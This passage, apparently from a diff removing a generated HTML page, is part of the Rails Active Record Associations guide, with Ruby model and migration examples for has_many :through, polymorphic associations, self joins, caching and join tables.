- has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The name of the other model is pluralized when declaring a <tt>has_many</tt> association.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p><span class="image">
-<img src="images/has_many.png" alt="has_many Association Diagram" title="has_many Association Diagram" />
-</span></p></div>
-<h3 id="_the_tt_has_many_through_tt_association">2.4. The <tt>has_many :through</tt> Association</h3>
-<div class="paragraph"><p>A <tt>has_many :through</tt> association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding <em>through</em> a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Physician <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>appointments
- has_many <span style="color: #990000">:</span>patients<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>appointments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Appointment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>physician
- belongs_to <span style="color: #990000">:</span>patient
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Patient <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>appointments
- has_many <span style="color: #990000">:</span>physicians<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>appointments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/has_many_through.png" alt="has_many :through Association Diagram" title="has_many :through Association Diagram" />
-</span></p></div>
-<div class="paragraph"><p>The <tt>has_many :through</tt> association is also useful for setting up "shortcuts" through nested :<tt>has_many</tt> associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Document <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>sections
- has_many <span style="color: #990000">:</span>paragraphs<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>sections
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Section <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>document
- has_many <span style="color: #990000">:</span>paragraphs
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Paragraph <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>section
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_the_tt_has_one_through_tt_association">2.5. The <tt>has_one :through</tt> Association</h3>
-<div class="paragraph"><p>A <tt>has_one :through</tt> association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding <em>through</em> a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account
- has_one <span style="color: #990000">:</span>account_history<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>supplier
- has_one <span style="color: #990000">:</span>account_history
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AccountHistory <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/has_one_through.png" alt="has_one :through Association Diagram" title="has_one :through Association Diagram" />
-</span></p></div>
-<h3 id="_the_tt_has_and_belongs_to_many_tt_association">2.6. The <tt>has_and_belongs_to_many</tt> Association</h3>
-<div class="paragraph"><p>A <tt>has_and_belongs_to_many</tt> association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>parts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/habtm.png" alt="has_and_belongs_to_many Association Diagram" title="has_and_belongs_to_many Association Diagram" />
-</span></p></div>
-<h3 id="_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">2.7. Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></h3>
-<div class="paragraph"><p>If you want to set up a 1-1 relationship between two models, you&#8217;ll need to add <tt>belongs_to</tt> to one, and <tt>has_one</tt> to the other. How do you know which is which?</p></div>
-<div class="paragraph"><p>The distinction is in where you place the foreign key (it goes on the table for the class declaring the <tt>belongs_to</tt> association), but you should give some thought to the actual meaning of the data as well. The <tt>has_one</tt> relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>supplier
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The corresponding migration might look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateSuppliers <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>suppliers <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- create_table <span style="color: #990000">:</span>accounts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>supplier_id
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>account_number
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>accounts
- drop_table <span style="color: #990000">:</span>suppliers
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Using <tt>t.integer :supplier_id</tt> makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using <tt>t.references :supplier</tt> instead.</td>
-</tr></table>
-</div>
-<h3 id="_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">2.8. Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></h3>
-<div class="paragraph"><p>Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use <tt>has_and_belongs_to_many</tt>, which allows you to make the association directly:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>parts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The second way to declare a many-to-many relationship is to use <tt>has_many :through</tt>. This makes the association indirectly, through a join model:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>manifests
- has_many <span style="color: #990000">:</span>parts<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>manifests
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Manifest <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>assembly
- belongs_to <span style="color: #990000">:</span>part
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>manifests
- has_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>manifests
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The simplest rule of thumb is that you should set up a <tt>has_many :through</tt> relationship if you need to work with the relationship model as an independent entity. If you don&#8217;t need to do anything with the relationship model, it may be simpler to set up a <tt>has_and_belongs_to_many</tt> relationship (though you&#8217;ll need to remember to create the joining table).</p></div>
-<div class="paragraph"><p>You should use <tt>has_many :through</tt> if you need validations, callbacks, or extra attributes on the join model.</p></div>
-<h3 id="_polymorphic_associations">2.9. Polymorphic Associations</h3>
-<div class="paragraph"><p>A slightly more advanced twist on associations is the <em>polymorphic association</em>. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here&#8217;s how this could be declared:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Picture <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>imageable<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Employee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>pictures<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>imageable
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>pictures<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>imageable
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can think of a polymorphic <tt>belongs_to</tt> declaration as setting up an interface that any other model can use. From an instance of the <tt>Employee</tt> model, you can retrieve a collection of pictures: <tt>@employee.pictures</tt>. Similarly, you can retrieve <tt>@product.pictures</tt>. If you have an instance of the <tt>Picture</tt> model, you can get to its parent via <tt>@picture.imageable</tt>. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePictures <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>pictures <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>imageable_id
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>imageable_type
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>pictures
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This migration can be simplified by using the <tt>t.references</tt> form:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePictures <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>pictures <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>imageable<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>pictures
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/polymorphic.png" alt="Polymorphic Association Diagram" title="Polymorphic Association Diagram" />
-</span></p></div>
-<h3 id="_self_joins">2.10. Self Joins</h3>
-<div class="paragraph"><p>In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Employee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>subordinates<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Employee"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"manager_id"</span>
- belongs_to <span style="color: #990000">:</span>manager<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Employee"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>With this setup, you can retrieve <tt>@employee.subordinates</tt> and <tt>@employee.manager</tt>.</p></div>
-</div>
-<h2 id="_tips_tricks_and_warnings">3. Tips, Tricks, and Warnings</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Controlling caching
-</p>
-</li>
-<li>
-<p>
-Avoiding name collisions
-</p>
-</li>
-<li>
-<p>
-Updating the schema
-</p>
-</li>
-<li>
-<p>
-Controlling association scope
-</p>
-</li>
-</ul></div>
-<h3 id="_controlling_caching">3.1. Controlling Caching</h3>
-<div class="paragraph"><p>All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>customer<span style="color: #990000">.</span>orders <span style="font-style: italic"><span style="color: #9A1900"># retrieves orders from the database</span></span>
-customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
-customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>empty? <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span></tt></pre></div></div>
-<div class="paragraph"><p>But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass <tt>true</tt> to the association call:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>customer<span style="color: #990000">.</span>orders <span style="font-style: italic"><span style="color: #9A1900"># retrieves orders from the database</span></span>
-customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
-customer<span style="color: #990000">.</span>orders<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">).</span>empty? <span style="font-style: italic"><span style="color: #9A1900"># discards the cached copy of orders and goes back to the database</span></span></tt></pre></div></div>
-<h3 id="_avoiding_name_collisions">3.2. Avoiding Name Collisions</h3>
-<div class="paragraph"><p>You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of <tt>ActiveRecord::Base</tt>. The association method would override the base method and break things. For instance, <tt>attributes</tt> or <tt>connection</tt> are bad names for associations.</p></div>
-<h3 id="_updating_the_schema">3.3. Updating the Schema</h3>
-<div class="paragraph"><p>Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For <tt>belongs_to</tt> associations you need to create foreign keys, and for <tt>has_and_belongs_to_many</tt> associations you need to create the appropriate join table.</p></div>
-<h4 id="_creating_foreign_keys_for_tt_belongs_to_tt_associations">3.3.1. Creating Foreign Keys for <tt>belongs_to</tt> Associations</h4>
-<div class="paragraph"><p>When you declare a <tt>belongs_to</tt> association, you need to create foreign keys as appropriate. For example, consider this model:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This declaration needs to be backed up by the proper foreign key declaration on the orders table:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateOrders <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>orders <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>datetime <span style="color: #990000">:</span>order_date
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>order_number
- t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>customer_id
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>orders
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you create an association some time after you build the underlying model, you need to remember to create an <tt>add_column</tt> migration to provide the necessary foreign key.</p></div>
-<h4 id="_creating_join_tables_for_tt_has_and_belongs_to_many_tt_associations">3.3.2. Creating Join Tables for <tt>has_and_belongs_to_many</tt> Associations</h4>
-<div class="paragraph"><p>If you create a <tt>has_and_belongs_to_many</tt> association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the <tt>:join_table</tt> option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">The precedence between model names is calculated using the <tt>&lt;</tt> operator for <tt>String</tt>. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>parts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>These need to be backed up by a migration to create the <tt>assemblies_parts</tt> table. This table should be created without a primary key:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateAssemblyPartJoinTable <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>assemblies_parts<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>assembly_id
- t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>part_id
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>assemblies_parts
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_controlling_association_scope">3.4. Controlling Association Scope</h3>
-<div class="paragraph"><p>By default, associations look for objects only within the current module&#8217;s scope. This can be important when you declare Active Record models within a module. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
- <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>supplier
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will work fine, because both the <tt>Supplier</tt> and the <tt>Account</tt> class are defined within the same scope. But this will not work, because <tt>Supplier</tt> and <tt>Account</tt> are defined in different scopes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
